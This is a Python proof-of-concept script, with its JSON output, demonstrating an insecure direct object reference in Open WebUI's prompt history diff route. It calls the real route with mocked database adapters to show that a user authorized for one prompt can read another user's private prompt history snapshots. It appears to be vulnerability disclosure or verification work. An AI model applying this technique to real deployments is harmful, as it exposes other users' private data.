#!/usr/bin/env python3
"""
PoC for prompt history diff IDOR.
The PoC executes:
- the real routers.prompts.get_prompt_diff() route function
- the real PromptHistories.compute_diff() implementation
Fake model/DB adapters are used only to avoid requiring a running server. The
security-sensitive behavior under test is that the route authorizes the prompt
ID in the URL, then computes a diff for arbitrary history IDs without checking
that those history rows belong to the authorized prompt.
"""
from __future__ import annotations
import asyncio
import json
import os
import sys
import types
from pathlib import Path
from types import SimpleNamespace
def prepare_imports() -> None:
repo_root = Path(__file__).resolve().parents[1]
sys.path.insert(0, str(repo_root / "backend"))
os.environ["VECTOR_DB"] = "none"
class DummyTyper:
def command(self, *args, **kwargs):
return lambda fn: fn
sys.modules.setdefault(
"typer",
types.SimpleNamespace(
Typer=lambda *args, **kwargs: DummyTyper(),
Option=lambda *args, **kwargs: None,
echo=lambda *args, **kwargs: None,
Exit=Exception,
),
)
sys.modules.setdefault("uvicorn", types.SimpleNamespace(run=lambda *args, **kwargs: None))
class FakeScalarResult:
def __init__(self, row):
self.row = row
def first(self):
return self.row
class FakeExecuteResult:
def __init__(self, row):
self.row = row
def scalars(self):
return FakeScalarResult(self.row)
class FakePromptHistoryDb:
def __init__(self, rows):
self.rows = rows
self.calls = 0
async def execute(self, stmt):
row = self.rows[self.calls]
self.calls += 1
return FakeExecuteResult(row)
class FakeDbContext:
def __init__(self, db):
self.db = db
async def __aenter__(self):
return self.db
async def __aexit__(self, exc_type, exc, tb):
return False
async def run_real_compute_diff(from_id: str, to_id: str):
import open_webui.models.prompt_history as history_module
victim_from = SimpleNamespace(
id=from_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
},
)
victim_to = SimpleNamespace(
id=to_id,
prompt_id="victim-prompt",
snapshot={
"name": "Victim Prompt",
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
},
)
fake_db = FakePromptHistoryDb([victim_from, victim_to])
original_context = history_module.get_async_db_context
try:
history_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)
diff = await history_module.PromptHistories.compute_diff(from_id, to_id)
finally:
history_module.get_async_db_context = original_context
return diff
async def main() -> None:
prepare_imports()
import open_webui.routers.prompts as prompts_router
attacker_prompt = SimpleNamespace(
id="attacker-prompt",
user_id="attacker",
)
attacker = SimpleNamespace(id="attacker", role="user")
victim_from_id = "victim-history-from"
victim_to_id = "victim-history-to"
class FakePrompts:
looked_up_prompt_ids = []
async def get_prompt_by_id(self, prompt_id, db=None):
self.looked_up_prompt_ids.append(prompt_id)
if prompt_id == "attacker-prompt":
return attacker_prompt
return None
class FakeAccessGrants:
async def has_access(self, *args, **kwargs):
return False
class FakePromptHistories:
compute_diff_calls = []
async def compute_diff(self, from_id, to_id, db=None):
self.compute_diff_calls.append(
{
"from_id": from_id,
"to_id": to_id,
"authorized_prompt_id_not_passed": True,
}
)
return await run_real_compute_diff(from_id, to_id)
fake_prompts = FakePrompts()
fake_histories = FakePromptHistories()
original = {
"Prompts": prompts_router.Prompts,
"AccessGrants": prompts_router.AccessGrants,
"PromptHistories": prompts_router.PromptHistories,
}
try:
prompts_router.Prompts = fake_prompts
prompts_router.AccessGrants = FakeAccessGrants()
prompts_router.PromptHistories = fake_histories
diff = await prompts_router.get_prompt_diff(
prompt_id="attacker-prompt",
from_id=victim_from_id,
to_id=victim_to_id,
user=attacker,
db=None,
)
finally:
for name, value in original.items():
setattr(prompts_router, name, value)
result = {
"confirmed": (
diff.get("from_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V1"
and diff.get("to_snapshot", {}).get("content") == "PRIVATE_PROMPT_SECRET_V2"
and fake_prompts.looked_up_prompt_ids == ["attacker-prompt"]
and fake_histories.compute_diff_calls
and fake_histories.compute_diff_calls[0]["authorized_prompt_id_not_passed"] is True
),
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"victim_prompt_id": "victim-prompt",
"victim_history_ids": [victim_from_id, victim_to_id],
"prompt_ids_authorized_by_route": fake_prompts.looked_up_prompt_ids,
"compute_diff_calls": fake_histories.compute_diff_calls,
"leaked_from_snapshot": diff.get("from_snapshot"),
"leaked_to_snapshot": diff.get("to_snapshot"),
"source": {
"route": "backend/open_webui/routers/prompts.py:get_prompt_diff",
"sink": "backend/open_webui/models/prompt_history.py:PromptHistories.compute_diff",
},
}
print(json.dumps(result, indent=2, sort_keys=True))
if not result["confirmed"]:
raise SystemExit(1)
if __name__ == "__main__":
asyncio.run(main())
{
"attacker_user_id": "attacker",
"authorized_prompt_id": "attacker-prompt",
"confirmed": true,
"leaked_from_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V1",
"name": "Victim Prompt"
},
"leaked_to_snapshot": {
"command": "/victim",
"content": "PRIVATE_PROMPT_SECRET_V2",
"name": "Victim Prompt"
},
"prompt_ids_authorized_by_route": [
"attacker-prompt"
],
"victim_history_ids": [
"victim-history-from",
"victim-history-to"
],
"victim_prompt_id": "victim-prompt"
}